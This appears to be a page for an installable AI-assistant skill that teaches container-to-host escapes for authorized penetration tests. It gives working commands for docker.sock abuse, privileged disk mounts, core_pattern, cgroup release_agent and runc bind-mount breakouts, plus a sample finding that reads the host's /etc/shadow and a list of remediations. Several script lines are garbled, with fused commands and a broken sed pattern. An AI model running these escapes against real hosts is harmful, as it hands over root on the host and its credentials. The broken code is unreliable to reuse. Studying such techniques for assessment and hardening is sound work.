Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.
After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
When the container was started with --privileged, extra capabilities, or host namespaces
When sensitive host paths or sockets are bind-mounted into the container
When runc/ctr binaries or a Docker socket are reachable from inside
During Kubernetes pod assessments where the pod's security context is weak
Critical: Techniques Most Often Missed
Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.
Mounted Docker/containerd socket = trivial host root. Spawn a new container mounting host /.
How to CONFIRM: find / -name docker.sock 2>/dev/null; then docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh gives a host root shell.
Privileged container + host block device. Mount the host disk and chroot.
How to CONFIRM: ls -l /dev/sd* /dev/vd* /dev/nvme* lists host disks; mount /dev/sda1 /mnt && chroot /mnt sh reaches the host FS.
Writable /proc/sys/kernel/core_pattern. A crash triggers a pipe handler that runs as root on the host.
How to CONFIRM: [ -w /proc/sys/kernel/core_pattern ]; piping a payload via core_pattern and crashing a process drops a root SUID shell.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo"$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOFchmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"cat /output
Step 7: runc config.json Bind-Mount Abuse
runc -help# runc reachable?
runc spec # generates config.json# add to the "mounts" array in config.json:# { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }mkdir rootfs
runc run demo # root folder is the HOST's /
Key Concepts
Concept
Description
--privileged
Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities
Host namespace sharing
--pid=host/--network=host; enables nsenter and host process visibility
Runtime socket exposure
A mounted docker.sock/containerd.sock = full control of the runtime as root
Writable /proc/sys/kernel/core_pattern runs a pipe handler as root on crash
release_agent
cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host
runc config.json
A bind mount of / in the OCI spec exposes the host root filesystem
Tools & Systems
Tool
Purpose
amicontained
Reports capabilities, seccomp, and namespace/container detection
deepce
Automated Docker/container enumeration and escape helper
capsh
Confirm the container's capability set (cap_sys_admin etc.)
nsenter
Enter host namespaces from a CAP_SYS_ADMIN / host-PID container
docker / ctr
Drive a mounted runtime socket to launch a host-mounted container
runc
Run an OCI container with a host-root bind mount
linpeas
General host/container privesc enumeration
Common Scenarios
Scenario 1: Mounted docker.sock
A CI container bind-mounts /var/run/docker.sock. docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh returns instant host root.
Scenario 2: Privileged container
capsh --print shows the full cap set and /dev/sda1 is visible. Mounting it and chroot writes an SSH key into the host's /root/.ssh.
Scenario 3: Writable core_pattern
A monitoring sidecar mounts /proc writable. Pointing core_pattern at an overlay script and crashing a process yields root code execution on the host.
Scenario 4: CAP_SYS_ADMIN without privileged
A container has --cap-add=SYS_ADMIN but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.
Output Format
## Container Escape Finding
**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)
### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)
### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id -> uid=0(root) on the HOST
# cat /etc/shadow (host file) -> readable
### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.
### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)